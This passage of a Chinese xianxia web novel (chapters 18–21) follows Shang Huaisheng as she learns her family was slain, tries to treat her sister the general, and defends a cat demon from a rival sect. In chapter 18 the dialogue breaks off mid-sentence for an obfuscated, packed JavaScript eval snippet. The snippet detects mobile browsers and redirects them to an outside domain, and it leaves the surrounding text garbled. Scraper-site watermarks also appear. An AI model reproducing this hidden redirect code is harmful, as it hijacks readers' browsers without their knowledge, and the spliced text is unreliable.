“是,道长。”奉儿答道。 “她是几岁入的宫?” “回道长,十一年前,约莫六七岁。” 和商怀笙差不多的岁数,她离家时六妹连大字都不识,老喜欢被她抱着背着,又活泼又黏人,数年没见,竟成了杀伐决断的大将军。 商怀笙又问:“那她来了日曜城,家中的亲人也一同过来了吗?” 她也许久没见过自己的亲人了,奶奶可能已经去世,她幼时离家,也没机会尽孝道,不过当年李昱辰给他们留下许多钱财,也足够他们衣食无忧。 商怀笙正等着她回答,奉儿却陷入沉默中,一直快到皇城脚下,才缓缓开口:“十一年前,海上盗贼猖獗,侵入将军的家乡,将整个渔村都烧了,九十多户人家,无一生还……” 18. 第十八章 “你说什么?”商怀笙以为自己听错了,又问一遍。 奉儿叹了口气,道:“当年将军家中惨遭屠戮,留下将军一人,孤苦无依,陛下才将将军带回来抚养。道长,切不可在将军面前提起此事。” 无一生还……? 商怀笙深吸一口气,世界瞬间崩塌,耳边只剩尖锐的轰鸣。 吸入的暖风却像是掺了刀子,刮着她五脏六腑,一刀刀剜着她的心脏,她攥紧双拳,指甲嵌入血肉,带来的痛感却远不如心口的沉痛。 她大口大口地呼吸,却还是觉得头昏脑涨,眼前一阵阵发黑。 问玉瞥见她的神色,拦住想要与他们同上马车的奉儿,道:“我知道将军府怎么走,马车破旧,奉儿姑娘身娇体贵,请上御车。” 说罢,放下车帘,施术驱动马车行走。 车厢中,商怀笙揪着衣袖,捂住心口,呼吸变得急促起来,泪水挤在眼眶,却无法坠落,“我、我……” “商怀笙,呼吸。”问玉握住她手腕,“你会把自己憋死的。” 商怀笙听见自己如擂鼓般的心跳,可她无论如何用力,都无法吸入空气,眼前浮现出自己离家前的夜晚,母亲给她煮的海带汤,奶奶把碗里的菜分给她,小妹在她身侧安睡…… 这些再寻不过的场景,被漫天的血雾掩盖。 口鼻被人捂住,眩晕感如潮水般涌上来,商怀笙感觉自己的身体失去控制,像在高空中往下坠落,她死死攥住衣袖,耳边传来遥远的呼唤,可怎么都听不真切。 “商怀笙?商怀笙!” 问玉眉头紧皱,眼看商怀笙瞳孔剧缩,呼吸越来越快,越来越浅,只能从齿缝中发出零碎的气音,眼神空洞的没有半分生气,他犹豫一瞬,从背后抱住商怀笙僵硬的身体,身上漫出细碎的光点,闪着盈盈金光,将商怀笙包裹。 渐渐地,商怀笙的呼吸平稳下来,身体瘫软,仿若无骨般倒了下去,问玉将她放平,发现她脸上已经布满泪痕,双手还紧紧抓着衣襟。 “……” 问玉无奈地叹了一声,将她横抱,打算先把她送回客栈。 到了将军府,奉儿来接人,却发现只有问玉一人出来,她往车厢查探,不见商怀笙的身影。 “她有些急事,先行离开。”问玉解释道。 奉儿眼中浮现出一丝惊奇,她明明一直跟在他们马车身后,从未中途停车,也不见有人下车,看来这修道之人果然有瞬移之术。 “道长,请。” 奉儿想引问玉进门,却见他站在原地未动,抬头看着将军府的府门,神色凝重。 好重的怨气。 上次来抓商怀笙的时候他就发现了,将军府的构造非同寻常,深宅窄院,长廊幽深,直冲正门,但凡设计之人懂点风水,也不会建造出这样的房子。 如今一瞧,这里的怨气实在浓郁得惊人,在天中,整个书房连同天空都变成了血红色,血雾弥漫,仿佛能闻到血腥味,怨气中一张张狰狞可怖的脸,仇恨地盯着某个方向,定然是商叙的位置。 世间生物不断轮回,身上都带着业果,未偿的债,未报的恩,做下的孽,结下的善,或多或少都会影响到一个人的气运。 久经沙场之人,身上必多冤魂,但除非她杀过许多无辜的人,且生生世世都是造过杀孽,不然不可能有这么浓的怨气。 问玉抬脚,本想上前查看,转头又想起商怀笙颤抖着抓住他衣袖的模样,心中动摇。 “道长?”奉儿出声催促。 问玉已经做出决定,对她道:“我已经知道她生病的原因了,此事棘手,待我稍作准备,再来拜访。” 奉儿一时没反应过来,他转眼就消失,奉儿大惊,站在原地愣了许久,才转身上了马车,回去复命。 * 客栈。 秦湫坐在商怀笙床前,握着她的手,商怀笙手劲很大,在睡梦中呢喃着,力道毫不收敛,秦湫的手指一阵发麻,掌心沁出细汗,却还是紧紧握着。 “秦湫!”元妄上前来,想要把两人分开,“别这样,怀笙若是醒来知道伤了你,定会更加难过。” 秦湫唇色发白,眼神黯然,“修道之人岁月漫长,怀笙以后想起自己的亲人,该如何释怀?” 商怀笙说过,她与自己的亲人没有太深厚的感情,也知道自己早晚要亲眼看着亲人逝去,可她也希望他们好好活着,即使庸庸碌碌,也要平安健康,像大部分凡人一样安稳度过一生。 骤然知道这个噩耗,又得知自己唯一的妹妹身患恶疾命不久矣…… 他们都觉得心痛,更不要说商怀笙。 “我们怀笙,太可怜了……” 秦湫说完,垂下一滴眼泪。 元妄低头沉默,嗓音也有些喑哑,“如果不是发生这样的事,我宁愿她一直不回来,至少不会知道这些残酷的事实。” 想到这里,他不免对三山宗的人生出几分责怪,“若不是三山宗的人……” “笃笃——” 他的话被敲门声打断,开门后,见到问玉,元妄眼底掠过一丝不满。 “问玉道长怎么来了?” “她如何了?” “有些低烧,现已经睡下了。” 问玉往里面探了一眼:“低烧?” “她幼时便有这样的症状,受到刺激会昏厥低烧”元妄挡住他视线,态度冷硬,“多谢道长将她送回,不劳道长挂心。” 问玉微顿,听出他的责怪与不满,留下句“若有需要可以随时来找我”便转身离开。 元妄关上门,满脸阴鸷之色,秦湫的视线落在他身上,“你何必如此对师叔如此疾言厉色,这也不是他的错。” “我不喜他。秦湫,你觉得师叔口中那个女子……下山前,我给怀笙的行囊中装了许多东西,她回来的时候只不见了忘忧果。” 秦湫神色微动,轻轻摇头,“怀笙只是误入结界迷路了而已,与师叔无关。” “……你说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941446|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是。” 元妄走上前来,两人一左一右守着商怀笙。 他用衣袖擦去商怀笙额上的细汗,道:“明天醒来,她会不会好?” “她就算难过也会装成云淡风轻的模样,这么多年,一直如此。” 元妄轻叹,“谁说我们怀笙不懂事,我们怀笙最懂事了……” * 商怀笙睡了一夜,第二天清早起来,晃晃悠悠地出门觅食,正巧撞见问玉从房间出来。 问玉还在想遇见她要说什么,是不是该说几句宽慰的话,商怀笙先开口了,“听师姐说是道长送我回来的,多谢道长。” “你……”她看上去神态自然,问玉犹豫片刻,道,“节哀。” 商怀笙愣了下,道:“没事,人各有命。” 她这样说了,问玉也不知该说什么,两人面对面沉默许久,商怀笙便要下楼,“我要去吃早点,道长去吗?” 问玉摇摇头:“你去吧。” 商怀笙嗯了一声,对问玉这幅亲和的模样还有些不习惯,她转身下楼,门口便有个早点摊。 她一连几日都在这里用餐,摊主已经记住了她,远远望见便开始招呼,“姑娘,今天还是三个芹菜包子吗?” 商怀笙伸出手,“今天要四个!” “好嘞,姑娘这边请,钱已经有人给你付过了。” “嗯?” 商怀笙转头,元妄笑着朝她挥挥手,“现在才起来?” “师兄!”商怀笙小跑着朝他跑过去,“你专门来给我买早点的?” “当然,听秦湫说有个小孩哭了一整夜,后半夜一直喊饿呢。” “师兄,你别笑我。”商怀笙有些不好意思。 元妄摸摸她脑袋,“你家里的事情我都听说了,今早我去打听过,那群盗贼已经被歼灭,全部斩首,没留活口。” 商怀笙面无表情:“哦。” 元妄看她一眼,换了个话题,“你妹妹怎么样了?” “我还没来得及去见她。” 今早应该她本想问一下问玉的,但是问玉一副小心谨慎怕戳她伤心事的模样,她就没问。 “改日再去吧。”元妄说着,摊主已经把包子上来了。 商怀笙往嘴里塞了一个,“怎么不见师姐?” “今早她遇见了从前清溪门的好友,许是一同叙旧去了。” “清溪门?”商怀笙正好奇,抬头瞥见两个身穿竹纹青衣的背剑修士从街上走过,她低下头,“前晚上我见到了凌枫院的人,最近日曜城有什么大事吗,怎么这么多修士出没?” 元妄也不清楚,“只知道人界有四城会面,不过这几日确实有许多修士出现在日曜城,昨日我还见到了潮海阁的人。” “潮海阁与日曜城离得近,他们出现在日曜城不奇怪,只是清溪门和凌枫院都在南方吧?还有刚刚那个门服,不知道是哪个门派。” 真奇怪。商怀笙边吃边想,怎么突然来了这么多人? 19、第十九章 得知亲人死讯后,商怀笙没再去过将军府,在客栈睡了两日,起来便出去吃饭,吃完接着睡,过得浑浑噩噩。 问玉每次见她的时候,她都是一副平静淡然的模样,仿佛没有半点影响。 但她安静得太过,反倒有些异常,不再处处抬杠,见到问玉也会叫一声道长,像个礼貌懂事的晚辈一般。 她这样让问玉十分不习惯,眼看她日日只知道吃睡,第三日中午,问玉将她挡在门前。 “你要这样到什么时候?”问玉道。 商怀笙面无表情:“我吗?我怎么了,我只是最近有些累,等我休息几天,就带你们去找断龙。” 问玉眉心微折,露出一丝无奈,“你妹妹的情况不太好。” 商怀笙平静的神色有一丝松动,“什么意思?” “她身上有很重的怨气,许是杀孽太重。” 商怀笙挑眉,“她是从小就上了战场,可那都是为了安邦定国,她绝对不会做残杀无辜百姓之事,要是仅仅因为效忠自己的国家就被怨气侵体,古往今来那么多骁勇善战的名将,其中不乏残忍嗜血之徒,为何不见他们如商叙一般被折磨?” “所以我说她情况不好。”见她终于有了一丝斗志,问玉松了口气,“我不确定她身上怨气的来源,但绝对不简单,今晚我要再去将军府,你去不去?你若不去我便叫上闻惠……” 商怀笙不假思索,“我去,我当然去!” 她妹妹的事情,当然得她去。 * 上次有奉儿引路,问玉没进去,这次没人陪同,他们自然被拦了下来。 商怀笙和府兵解释好一通,他们半信半疑,将他们带到了一个男人面前。 “督主,这二人说是得陛下允准,来为将军医治。” 那男子身形纤瘦,肤色苍白,唇色淡如樱瓣,看上去弱不禁风,眼波流转间,却有冷光闪烁。 商怀笙认出这就是那晚进入将军府的男子,元妄也早已打听到他的身份,落凤原督主陆雪青。 落凤原在日曜城西侧,是一片广袤无垠的草原,传闻从前有凤凰在此坠落,四季如春,景色迷人,但杂居着众多不同种族,是四座主城中情况最复杂的一个。 陆雪青年纪轻轻,却能执掌落凤原,可见手段非同一般,而他身在将军府,府上下人又对他毕恭毕敬,商怀笙不免揣测起他和商叙的关系。 “这就是陛下请来给商叙医治的道士?”他的声音清清冷冷,中气十足,不似看起来那般柔弱,“听闻道长前些日子过门不入,我还以为有人装神弄鬼,到了跟前心虚逃跑了呢。” 他态度并不友善,听着像是真心关心商叙的,只是这么热的天穿得如此厚实,瞧着病歪歪的。 她妹妹这是找了个病秧子? 平心而论,这人模样算是上乘,四城之一的督主,有权有钱,各项条件都不错……就是看上去太弱不禁风了,一副活不长久的模样。 商怀笙正认真考察她“妹夫”,身侧问玉开口:“将军的病症复杂,贫道离开,是与同伴探讨解决之法。” 陆雪青还是怀疑,轻蔑一笑,“可探讨出来了?” “需得先见到将军。” “呵,这些年那些江湖骗子我也见得多了,在去见将军之前,你们可想好了,若是治不好便是欺君之罪,就算陛下留你们姓名,我也不会放过你们。” 问玉道:“贫道虽不能保证立马治好将军,但是眼下便有法子能调养你被归元鬼针损耗的身体。” 陆雪青瞬间变了脸色,不复刚才那般盛气凌人,喃喃道:“归元鬼针?” 问玉扫他一眼,道:“陆大人,你非修道之人,用归元鬼针强行为商将军医治,以自身寿元催动,是在损耗自己的生命。” 陆雪青抿唇,身体绷直,言语中多了几分尊重,“多谢道长直言,商将军是我亲人,我不能见她受病痛折磨却无动于衷。” 亲人? 商怀笙眼中探究意味更浓,这是她后来降生的弟弟吗? 可瞧着年岁要比商叙大些,她也不记得自家有姓陆的亲戚。 商怀笙实在好奇,眼睛都快长到陆雪青身上,炙热的目光自然引起陆雪青怀疑,他微微皱了下眉头,目光扫过来,似有几分不满,但是尽力克制着。 问玉瞥商怀笙一眼,帮她问出了心中所想,“你们一个姓陆一个姓商,并非血亲,究竟是多浓厚的情谊,值得陆大人这般舍己为人?” 陆雪青微顿,脸上浮现浅淡的笑意,有些羞涩,掺杂着几分落寞,“我是她未过门的姐夫。” 商怀笙:嗯? 姐,夫? 她离家时最大的姐姐已经在议亲,另一个姐姐年岁倒是差不多,但这“未过门”又是几个意思,难道他在二姐死后一直守节吗? 商怀笙双眼蒙上一层阴翳,想起惨死的亲人,心情坠落谷底。 “商将军的姐姐,是大庆的开国功臣,若是没有她,便没有现在的大庆朝,也没有如今百姓的安稳生活。”陆雪青言语中暗藏骄傲,眉梢也微微上扬,“虽我们未能成亲,但在我心里,我已经是商家的人了。” 商怀笙:…………? 听起来怎么不太对劲? “咳咳。”商怀笙抬眸看向陆雪青,“斗胆问一句,商将军的姐姐叫什么名字?” 陆雪青唇角轻扬,“她叫怀笙,商怀笙,十二年前踏入仙途,与二位也算是同道中人。若是二位有幸能遇见她,烦请代我问候一声。” “……” “……” 商怀笙转头,问玉目光幽幽地看过来,像在好奇她何时背上了情债。 商怀笙比他更好奇更迷茫,她歪头打量着陆雪青的脸,拼命在脑海中搜寻,却还是一无所获: 不是,大哥你谁啊?! 他该不会病久了有什么臆想症吧? “你——” 商怀笙正欲开口质问,便被问玉打断,“陆大人若是信了我们,可否带我们见商将军?” “自然,二位请。” 商怀笙眉头拧得像座小山峰,死死盯着陆雪青的背影,好像下一秒就要扑过去把人撞倒,问玉伸手在她眼前晃了晃,传音道: “你这幅表情,生怕别人猜不出你的身份?” “不是,我不认识他,他怎么就成我未过门的妻、不是,丈夫了?你快瞧瞧,他是不是有癔症?”商怀笙挤眉弄眼,眼珠子都快瞪出来了。 问玉轻笑:“听起来他对你一往情深。” “别吓我,起了一身鸡皮疙瘩,我真不认识他!”商怀笙咬牙,恨不得现在就把陆雪青叫住问清楚。 “现在的当务之急是解决你妹妹的事情,找到断龙,这些不重要的可以放一放。” “……” 这很重要! 她离开日曜城的时候才多大,一回来多了个未婚夫,这是败坏她的名声吗! 商怀笙气急,忽然转念一想,名声对她来说算什么? 不能吃不能喝,一点用都没有。 她瞬间又冷静下来,问玉好奇地多看她一眼,正想调侃几句,陆雪青先开口了: “商叙这病是打小就有的,不过那时候差不多一年才发作一次,随着年岁增长,发作的间隔也越来越短,这两年几乎到了夜夜发作的地步。” 陆雪青为二人介绍着商叙的病症,慢慢来到后院,商叙刚练完剑,正坐在池边喂鱼,莲花随风微动,她神态柔和,不见肃杀之气,却难掩疲惫之色。 瞥见他们过来,商叙板起脸,道:“你怎么又来了?” 商怀笙先看看自己,反应了一会儿才明白这话是对陆雪青说的。 陆雪青道:“陛下请了人来为你医治。” 商叙头都不抬,语气不屑,“这些年来了多少大夫修士,半点用没有。” 陆雪青上前,言辞恳切,“这世上这么多能人异士,总有人能医治你的病,而且这位道长与旁人不同……” 不等他说完,商叙将手中的鱼食往池中一撒,不耐烦地起身,“我说了没用!你们每次都这样说,可哪次有用?没人能治得了我!只有乖乖等死的份儿。” “你这是说的什么话!”陆雪青也面露愠色,顶着太阳走了这一段路,他的唇色明显苍白许多,显出几分虚弱,“多大点年纪,成天把死字挂在嘴上!” “这么多年了,若真有医治之法,也不会到今日这步田地。你们请回吧。” 他一生气,商叙反倒冷静许多,径直朝着书房走去,不再理会众人。 “商叙!” 陆雪青的身子猛烈颤抖起来,眼看站都站不稳了,腿下一软即将倒地之时,一只手托住了他的腰。 商叙疾步如风,头也不回,陆雪青又生气又无奈,急促地呼吸片刻,才缓缓站稳,转头想道谢,对上商怀笙吸睛的浓眉,紧紧地皱在一起。 “多谢……”陆雪青一时失神,反应过来后忙与商怀笙拉开距离,“多谢姑娘。” “不用谢。”商怀笙并没在意,遥遥望着商叙的背影,问道,“她一直这样吗?” “她以前不是这样的,刚开始商叙也积极治疗,见过许多大夫,修士,也喝下许多药,用了各种符咒,只是都没有效果,白白受了许多苦,才渐渐失了信心。” 他像是家长在为自己叛逆的孩子辩解,商怀笙的心脏如同被钝刀割过,许久才找回自己的声音,“她姐姐不也是修道之人吗,为什么不向她求助?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 20、第二十章 陆雪青摇摇头,张了张嘴,欲言又止。 一股带着热气的风从三人身侧穿过,浓墨般的乌云吞噬烈日,光线骤然暗了下来,陆雪青脸上落下一道阴影。 他抿紧双唇,在商怀笙直白的目光中,挤出一声几不可闻的叹息,包裹着苦涩与无奈,沉甸甸地坠落在空气中。 “我来到日曜城的时候,她已经离开多年。” “……” 商怀笙离开后,一次也没有回来过,在四水阁的日子吵闹却充实,鸡飞狗跳中是不同于在军营中的安稳与闲适。 她不愿再回到这带给她炼狱般折磨的地方,也很少想起得了荣华富贵便将她抛之脑后的父母,更不会想到她走之后李昱辰还会将她的妹妹训练成与她一样的兵器。 天色欲阴,乌云沉沉地压下来,像是要落一场暴雨,商怀笙与陆雪青视线交错,不约而同地转向别处,陷入令空气凝滞的沉默中。 凝重的氛围下,问玉轻声开口,“商将军她近日有没有异常?” “前几日夜里惊魇,暴起伤人,还发了高烧,这两天没再犯过,只是食欲不振,精神也有几分萎靡。”陆雪青想了想,道,“昨日从皇宫回来,又有要起烧的迹象,好在睡了一觉便好了。” 他停顿片刻,似乎还有话要说,犹豫之后,如实道:“她每次从宫中回来都会起烧,在云月都的时候并没有这么频繁,而且只是发烧,并不会梦游伤人。” 皇宫吗? 问玉眉心轻皱,若有所思,“我这里有枚铜镜,乃是宗门法器,将它悬挂于商将军房中,切记,要正对床头。虽不能根治她的病症,但能起缓解之效。” 他从袖中掏出个巴掌大小的铜镜,边缘铸着繁复的龙纹,蜿蜒的龙形彼此交缠,泛着幽暗的金属光泽,背面雕刻着几句咒语,已被摩挲得乌亮。 陆雪青双手接过来,虔诚道谢,他显然是不认识这铜镜的,但商怀笙认得。 宗中弟子人手一个的照妖镜。 问玉又叮嘱了许多需要注意的事宜,商怀笙的目光一直落在那铜镜上,直到二人被陆雪青送出将军府,商怀笙才开口询问。 “那不是照妖镜吗,为什么要把它给陆雪青?”她语气不善,似乎在质问他是不是把她妹妹当成妖怪,“商叙她究竟是怎么回事儿?” 问玉反问她,“你在她身上看到了什么?” “……怨气。” 商怀笙只开了一瞬的天眼,便觉得惊心动魄。 “鬼界外的长眠海尚且没有这么重的怨气。”问玉道,“最奇怪的是,这么浓烈的怨气,你我身为修士,在将军府外居然丝毫感觉不到。否则日曜城这么多修士,早该发现异常。” 商怀笙很快想到那晚她翻/墙时的情况,“府上有结界。” 问玉点点头,“我怀疑她夜夜高烧惊魇并非病症,而是中了邪术。” “邪术?”商怀笙眼底掠过杀气,咬牙切齿,“是李昱辰!” 问玉眸中印着她愤恨的模样,问道:“你似乎十分不喜他,是旧识?” 商怀笙微怔,怒气霎时化为茫然,眼角下垂,显得有几分沮丧,“他是……给我名字的人。” 问玉见过许多次她桀骜不驯的模样,即使知道他的身份,也敢肆无忌惮地顶撞他,被惩罚也理直气壮,有一股怎么也打不倒的冲劲儿。 他认定商怀笙是个比她师父还犟的犟种,鲁莽,冲动,急躁,有听说她未能通过前尘镜,是因为她手上沾满杀孽,所以在得知断龙居然选择商怀笙后,他只觉得这千年的神器也有瞎了眼识人不清的时候。 若不是与她一同来到日曜城,问玉怕是永远都不会知道她的“杀孽”从何而来。 先帝昏庸不能治国,庆州裂土分疆,四城各据一方,内部纷争不断,烽火连天,境外各族虎视眈眈,不断搅乱这趟浑水,连天机阁都觉得无力回天,没有过多干涉。 在这种混沌乱世,李昱辰一个被贬为庶人的王爷,能在群狼环伺之际,短短半年一举拿下四城,不仅在他运筹帷幄,识人善任,也得益于他培养了诸多能人异士,为他出生入死。 商怀笙也是其中之一,甚至是其中最为重要的一环。 只是当时的她,也不过只有六七岁,什么都不懂的年纪,背上沉重的杀孽。 从前的偏见与苛责如今化为一根根尖刺扎在心脏,问玉沉默许久,再多的言辞都显得苍白。 不等他开口,商怀笙又道:“其实这个名字挺好听的,我小时候连名字都没有,家里孩子多,就老大老二老三小四小五小六……你猜猜我是老几?” 问玉的目光投过来,深沉眸底掠过一丝动容,“老二?” “老五。”商怀笙张开手掌,唇角牵起一抹笑意,“商叙是小六,她这名字应该也是李昱辰起的,怀笙是为了心怀天下苍生,不知道这个叙是什么意思。” “叙……或许是想延续大庆的荣耀。” “喔,李昱辰真是,心心念念的都是他的江山。” 再提起来李昱辰,商怀笙没了刚才的戾气,言语间带着淡淡的不屑,“师叔,你说,我妹妹的病会和李昱辰有关吗?” “也许。”听到她叫师叔,问玉有些不适应。 “嗯。”商怀笙反应平静,抬头看了眼黑沉的天空,自顾自说了声,“要下雨了。” 风突然变得急促,卷起枯枝尘土,空气中弥漫着潮湿的腥味,天际传来闷沉的雷声,似战鼓擂动,黑云沉沉欲坠,将会有一场暴雨。 “回去吧。”问玉道。 二人回到客栈,秦湫三人正在一楼等着,进门的瞬间,零星雨滴落下,噼啪作响,地面霎时变得湿漉漉的,顷刻间雨幕倾泻而下,将外头的一切都蒙在雨雾中。 “来的正巧,差点要被淋了。”秦湫迎上来,围着商怀笙转了一圈,仔细检查后,问道,“你妹妹如何了?” 商怀笙摇摇头:“她不信任我们,不愿见人。” 秦湫道:“没事,日子还长。” 话音刚落,闻惠便道:“你们还想在这里待多久?断龙迟迟未寻回,别忘了咱们来这里的目的。” 商怀笙的眼神扫过去,“我知道,我已经找到断龙了。” 闻惠微愣,“……你既然找到了,为什么不带回来?” “我只是感应到断龙的位置,就在将军府,但它并不回应我的召唤。” 闻惠嘴唇抿起,露出一丝不悦的情绪,正欲开口,被问玉抢了先。 “断龙的事情先放一放,眼下要紧的是商叙的病,她身上怨气颇重,不像寻常人类该有的。你们这几日可有感受到异常?” 秦湫与闻惠对视一眼,神色中透出几分凝重。 “师叔,这两日城中的修士渐多,今日我们在齐物汇遇上了凌枫院的人。”闻惠边说话边思考,眼珠转动着,好像想明白了什么,眉头微锁,“我还以为他们是冲着断龙来的。” 问玉:“其实呢?” 元妄回:“听闻城中有妖物伤人,前段时日咬伤家畜,开膛破肚,昨日郊外发现两具乞丐尸体,脸色灰白毫无血色,身躯僵硬,像被吸干了精气。” 闻惠:“凌枫院的人说是为了查案而来,但我们来到日曜城这几日,并未察觉到有特别浓烈的妖气。” 像许鲜那种小妖,实力弱小,妖气也弱,除非主动伤人,一般修士都不会特意去抓捕。 几人的目光悄然交汇,元妄的眉头几不可察地挑了挑,闻惠的目光向秦湫身后扫去,秦湫的手搭在商怀笙肩膀,侧身挡住她的视线。 客栈外雨声哗哗,冲刷着青石地面,像有数个小鼓同时敲响。 秦湫道:“今天走这一趟也累了,怀笙,回屋歇着吧。” 商怀笙点点头,没察觉出几人无声的交流,倒被外面的雨声催出几分倦意,她随着秦湫上楼,外面天已经完全暗了,也看不出时辰,商怀笙裹上被子,很快困意来袭。 偏在这时候她五感灵敏,隐隐听到楼下几人小声交谈,窗外狂风大作,树枝被折断,闷雷一个接一个地响,几道闪电划破天幕。 商怀笙困得厉害,在这嘈杂的声响中浅浅睡去,还未陷入深眠,只听“砰——”的一声巨响,窗户被撞开,风夹着雨珠呼啸而来,猛地将商怀笙惊醒。 “谁?!” 她下意识抓起枕头底下的匕首,惊坐而起,看到一团黑糊糊的东西从窗户飞进来,在地上滚了两圈,留下一滩血迹。 那东西湿淋淋的,看不出形状,商怀笙缓缓靠近,听到一声微弱的叫喊:“商姑娘,救命——” 被淋湿的黑色毛皮中露出一双蓝色的眼睛,许鲜抬起前腿,露出腹部被符咒灼伤的伤口,触目惊心。 商怀笙倒吸一口冷气,抓起被子将他包裹起来,还没来得及动手给他止血,便听到楼下一阵吵闹声。 “什么时候轮到你们常春阁来做我们凌枫院的主了?!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 21、第二十一章 商怀笙将许鲜裹起来放到床边,将匕首藏在身后,准备出去瞧瞧,推开门,便见问玉站在走廊,房门敞开,似乎也是闻声出来查看。 “你——” “嘘。”问玉做出噤声的手势,目光下移半寸。 商怀笙低头,才发现自己裙摆上沾了血,“这是……” “你待在这里,不要走动。” 问玉说完,商怀笙便跟了过来。 “……” 看她的眼神,问玉就知道她肯定不会听话,露出无奈的神色,没再阻拦。 商怀笙俯身向下看去,大厅中站了个人,一身华服,橘红束带,剑眉入鬓,眸如淬星,面容冷峻,透着疏离与倨傲,他漫不经心地摸着手里的折扇,扇骨开合间,似有几分不耐烦之意。 他身旁之人为他冲锋陷阵,也是个年轻人,不似他这般华贵,言辞激烈,“我明明看到那猫妖进了客栈,你们不许我们搜查,是要包庇妖物?” 他们下榻的客栈客人不多,偶尔有扇门打开探听情况,听到有妖,又迅速把门关上,而后便响起落锁的声音。 闻惠站在他对面,不卑不亢,“天色已晚,客栈中还有客人需要休息,你们这样鲁莽地闯进来便要搜查,这里是人间,说话办事要遵守人间的律法,真当在你们凌枫院?” 凌康辰满脸轻蔑,“我们就是受日曜城城主所托,解决城中为非作歹的妖物,常春阁弟子袒护猫妖,不顾城中百姓,是要与妖魔为伍吗?!” 听他说起常春阁,商怀笙有几分想笑,他们四水阁与三山宗彼此打到昏天黑地,在别人眼中依然是常春阁。 常春阁成立不过两百年,徐穆楚座下只有三个弟子,但在修仙界留下的传说可不少,如果不是当年宋良白与年玉闹掰,现在或许也已经成了名门大派。 闻惠轻嗤一声,“敢问城中是何妖物作祟?” 凌康辰微顿,“尚未查明。” 闻惠道:“所以你们就不分青红皂白,无差别捕杀城中所有妖族?” 这几日凌枫院在城中的事迹他们也有所耳闻,城中出没的门派都与凌枫院交好,又随身携带捕妖的符咒与法器,不难猜出他们是在做什么。 日曜城中隐藏着不少妖族,他们大都妖力微弱,在城中生活了数年,安分守己,日常行为举止已经和寻常凡人无异。 商怀笙这几日一直窝在客栈,也不知外面是个什么情况,但听闻惠的意思,凌枫院捕杀妖族已经有段日子,今日抓到许鲜头上,循着妖气追到客栈,才与他们起了争执。 大雨倾盆,外面黑得看不清道路,凌枫院的人倒是尽职尽责,一路追到这里,身上衣裳半点未湿,只脚下有几个湿淋淋的脚印。 商怀笙的目光落在为首少年的身上,他从丰宝那里听说过,凌枫院少主凌盛,凌枫院这一辈最有天赋的弟子。 是个装货。 凌康辰被闻惠怼的哑口无言,凌盛折扇一合,轻蔑开口,“妖族非人,始终顽劣难驯,数年前乱世,妖族为祸人间,多少修士牺牲性命将他们驱逐,这些残留的余孽,闻姑娘能担保他们以后不会伤人吗?” 闻惠一时语塞,下意识地看向元妄,后者身形微顿,缄默片刻,开口道:“别的妖且先不论,你们追杀的猫妖,是城中医馆的大夫,他从未伤过城中百姓,反而救人无数。” 凌盛轻嗤一声:“现在救人,以后就不会伤人吗?” 听到他这句话,商怀笙的脾气瞬间上来了,一股怒火直冲天灵盖,她抓着匕首,扶着栏杆纵身一跃,跳到他们面前。 在场几人俱是一惊,秦湫看到她,担忧地低呼一声:“怀笙!” “凌少爷是听不懂人话吗?别人说现在,你非要扯以后,你要这么扯的话,我问你,你现在杀妖,以后就不会杀人吗?” 商怀笙话一出口,在场众人皆倒吸一口冷气。 其他人是惊的,凌盛是气的,他打量着商怀笙,一直端着的高傲矜贵有几分破碎,“你是何人?” “在下四水阁弟子,商怀笙。” 凌盛眯了眯眼睛,凌康辰喝道:“哪里来的小弟子,也敢在我们家公子面前放肆!” 商怀笙瞪他一眼,“你闭嘴!” 她的声音中气十足,气势汹汹,凌康辰眼皮一颤,真的乖乖闭上了嘴。 外面的雨似乎小了许多,稀稀拉拉的,隐约能看到外面亮起的灯笼,发出微弱的光,商怀笙抬眸与凌盛对视,在他仿佛看蝼蚁的眼神中,直勾勾地瞪着他。 半晌,凌盛冷淡开口,“看来姑娘与那猫妖交情匪浅,为了维护他竟然不惜做到这步田地。” 商怀笙听不太懂他话里的意思,道:“我做到什么田地了,你先回答我,你现在杀妖,将来不会杀人吗?” “……”凌盛嘴角微微抽搐,“自然不会。” 商怀笙追问:“你为什么这么确定,你能看到未来之事?” 凌盛眼尾微挑,语气傲慢,“人妖有别……” “所以呢,你就这么确定将来你不会杀人?” “你……” 凌盛眸底露出一丝寒光,“你这是在强词夺理!妖是妖,我今日是为捉妖而来!你若是觉得他救过城中百姓便能逃过一劫,那便招来城中百姓问一问,他到底该不该杀!” 商怀笙眨眨眼,平静地看着他,“你是觉得理亏,所以想利用舆论?百姓本就害怕妖魔,你能保证他们在极度的惊恐下做出正确的决定吗?” “如你所说,既然这妖物的存在使得城中百姓惊恐,自然该杀。” 商怀笙伸出手指,指向他,“让百姓惊恐的不是他们身边朝夕相处的妖族,是你,是你们。” “你——!!”凌盛恼到极点,脸上的从容彻底消失,“你们这是要与凌枫院为敌了!若是其他门派知道你们与妖族厮混,定会群起而攻之,灭了你们这帮歪门邪道!” 商怀笙拢了拢衣袖,“你怎么还急了?就你有嘴?就你们凌枫院会编排人?你要是乱造谣,我就说你苦追猫妖不得才赶尽杀绝,这种艳事发生在高高在上的凌公子身上,想必大家都喜闻乐见。” “你!你真是!你居然……” 凌盛眉间的冷厉忽的一滞,像是蓄力满满的一剑劈在了棉花上,眸底的怒意被一种荒谬的茫然所取代。 他感觉自己完全跟不上商怀笙的思绪,甚至连这失态的怒气都显得有几分荒唐可笑,有种在跟傻子辩论还被傻子带着跑的感觉,好像他也成了个傻子。 凌盛怔愣之时,头顶突然传来一声轻笑,他仰头,看到楼梯上缓缓走下来的人影,身形一震。 “师叔。” 闻惠几人退至一侧,秦湫趁机把商怀笙也拉到身后。 凌盛不复刚才那般盛气凌人,挺直腰板,恭恭敬敬地低下头,“晚辈见过道长。” 